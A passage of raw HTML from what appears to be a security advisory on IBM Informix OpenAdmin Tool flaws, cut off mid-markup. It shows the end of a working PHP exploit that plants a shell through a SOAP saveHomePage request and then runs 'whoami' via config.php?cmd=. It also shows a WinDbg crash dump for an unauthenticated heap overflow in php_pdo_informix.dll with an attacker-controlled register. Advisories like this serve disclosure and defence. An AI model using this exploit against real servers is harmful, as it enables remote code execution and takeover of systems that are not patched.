class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-8\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-9\"><span class=\"crayon-v\">$data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-10\"><span class=\"crayon-s\">&lt;soapenv:Envelope xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221; xmlns:xsd=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema&#8221; xmlns:soapenv=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221; xmlns:urn=&#8221;urn:Welcome&#8221;&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-11\"><span class=\"crayon-s\">&nbsp;&nbsp; &lt;soapenv:Header\/&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-12\"><span class=\"crayon-s\">&nbsp;&nbsp; &lt;soapenv:Body&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-13\"><span class=\"crayon-s\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;urn:saveHomePage soapenv:encodingStyle=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/&#8221;&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-14\"><span class=\"crayon-s\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;new_home_page xsi:type=&#8221;xsd:string&#8221;&gt;&#8217;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">$shell<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8216;&lt;\/new_home_page&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-15\"><span class=\"crayon-s\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/urn:saveHomePage&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-16\"><span class=\"crayon-s\">&nbsp;&nbsp; &lt;\/soapenv:Body&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-17\"><span class=\"crayon-s\">&lt;\/soapenv:Envelope&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-18\"><span class=\"crayon-s\">&#8216;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-19\"><span class=\"crayon-v\">$pk<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;POST \/openadmin\/services\/welcome\/welcomeService.php HTTP\/1.1rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Host: &#8220;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">$host<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Content-Type: text\/xml;charset=UTF-8<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-22\"><span class=\"crayon-s\">rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Content-Length: &#8220;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;SOAPAction: &#8220;urn:QBEAction&#8221;rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Connection: Closernrn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$data<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-27\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-28\"><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fsockopen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$e<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$err<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-29\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-30\"><span class=\"crayon-e\">fputs<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$pk<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-31\"><span class=\"crayon-v\">$out<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-32\"><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">feof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-33\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$out<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">fread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-34\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-35\"><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-36\"><span class=\"crayon-c\">\/\/echo $out.&#8221;n&#8221;;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-37\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-38\"><span class=\"crayon-v\">$pk<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;GET \/openadmin\/conf\/config.php?cmd=whoami HTTP\/1.0rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Host: &#8220;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">$host<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-40\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Connection: Closernrn&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-41\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-42\"><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fsockopen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$e<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$err<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-43\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-44\"><span class=\"crayon-e\">fputs<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$pk<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-45\"><span class=\"crayon-v\">$out<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-46\"><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">feof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-47\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$out<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">fread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-48\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-49\"><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-50\"><span class=\"crayon-k\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$out<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-51\"><span class=\"crayon-ta\">?&gt;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0050 seconds] -->  <\/p>\n<p><strong>Heap buffer overflow<\/strong><br \/> IBM Informix Dynamic Server Developer is vulnerable to Unauthentication heap buffer overflow. By submitting connection parameters to <em>index.php<\/em>, through the <em>&#8216;server&#8217;<\/em> property, it is possible to trigger a heap buffer overflow vulnerability into the underlying PHP Informix extension (<em>php_pdo_informix.dll<\/em>).<\/p>\n<p>When attaching <em>WinDbg<\/em> to the <em>httpd.exe<\/em> sub-process, it shows:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b5979852a353635268\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> (1580.68c): Access violation &#8211; code c0000005 (first chance)  First chance exceptions are reported before any exception handling.  This exception may be expected and handled.  eax=007b5360 ebx=04701bb0 ecx=007b5274 edx=00000276 esi=01010101 edi=046fe310  eip=007b14b5 esp=01f8f630 ebp=047677cc iopl=0         nv up ei pl zr na pe nc  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  php_pdo_informix+0x14b5:  007b14b5 894614          mov     dword ptr [esi+14h],eax ds:002b:01010115=15ff012e<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852a353635268-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852a353635268-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852a353635268-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852a353635268-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852a353635268-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852a353635268-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852a353635268-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852a353635268-8\">8<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b5979852a353635268-1\"><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1580.68c<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Access <\/span><span class=\"crayon-v\">violation<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">code <\/span><span class=\"crayon-e\">c0000005<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">first <\/span><span class=\"crayon-v\">chance<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852a353635268-2\"><span class=\"crayon-e\">First <\/span><span class=\"crayon-e\">chance <\/span><span class=\"crayon-e\">exceptions <\/span><span class=\"crayon-e\">are <\/span><span class=\"crayon-e\">reported <\/span><span class=\"crayon-e\">before <\/span><span class=\"crayon-e\">any <\/span><span class=\"crayon-e\">exception <\/span><span class=\"crayon-v\">handling<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852a353635268-3\"><span class=\"crayon-r\">This<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">exception <\/span><span class=\"crayon-e\">may <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-e\">expected <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">handled<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852a353635268-4\"><span class=\"crayon-v\">eax<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">007b5360<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ebx<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">04701bb0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">007b5274<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">edx<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">00000276<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">esi<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">01010101<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">046fe310<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852a353635268-5\"><span class=\"crayon-v\">eip<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">007b14b5<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">esp<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">01f8f630<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ebp<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">047677cc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">iopl<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">nv <\/span><span class=\"crayon-e\">up <\/span><span class=\"crayon-e\">ei <\/span><span class=\"crayon-e\">pl <\/span><span class=\"crayon-e\">zr <\/span><span class=\"crayon-e\">na <\/span><span class=\"crayon-e\">pe <\/span><span class=\"crayon-e\">nc<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852a353635268-6\"><span class=\"crayon-v\">cs<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0023<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ss<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ds<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">es<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">fs<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0053<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">gs<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">efl<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">00010246<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852a353635268-7\"><span class=\"crayon-v\">php_pdo_informix<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x14b5<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852a353635268-8\"><span class=\"crayon-cn\">007b14b5<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">894614<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">mov&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">dword <\/span><span class=\"crayon-i\">ptr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">esi<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">14h<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">eax <\/span><span class=\"crayon-v\">ds<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">002b<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">01010115<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">15ff012e<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0025 seconds] -->  <\/p>\n<p>esi is controlled by the attacker and could be used to execute arbitrary code or to create denial of service conditions<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b5979852d947516251\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> 0:002&gt; lm vm php_pdo_informix  start    end        module name  014f0000 014fa000   php_pdo_informix   (export symbols)       C:Program Files (x86)IBM Informix Software BundleOATPHP_5.2.4extphp_pdo_informix.dll      Loaded symbol image file: C:Program Files (x86)IBM Informix Software BundleOATPHP_5.2.4extphp_pdo_informix.dll      Image path: C:Program Files (x86)IBM Informix Software BundleOATPHP_5.2.4extphp_pdo_informix.dll      Image name: php_pdo_informix.dll      Timestamp:        Mon Jun 15 17:13:57 2009 (4A36E3C5)      CheckSum:         00015E71      ImageSize:        0000A000      File version:     5.2.4.4      Product version:  5.2.4.0      File flags:       0 (Mask 3F)      File OS:          4 Unknown Win32      File type:        2.0 Dll      File date:        00000000.00000000      Translations:     0409.04b0      CompanyName:      The PHP Group      ProductName:      PHP php_pdo_informix.dll      InternalName:     php_pdo_informix.dll      OriginalFilename: php_pdo_informix.dll      ProductVersion:   5.2.4      FileVersion:      5.2.4.4      PrivateBuild:     5.2.4.4      SpecialBuild:     5.2.4.4      FileDescription:  pdo_informix      LegalCopyright:   Copyright \u00a9 1997-2007 The PHP Group      LegalTrademarks:  PHP      Comments:         Thanks to Rick McGuire, Dan Scott, Krishna Raman, Kellen Bombardier<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-24\">24<\/div>\n<div class=\"crayon-num\" 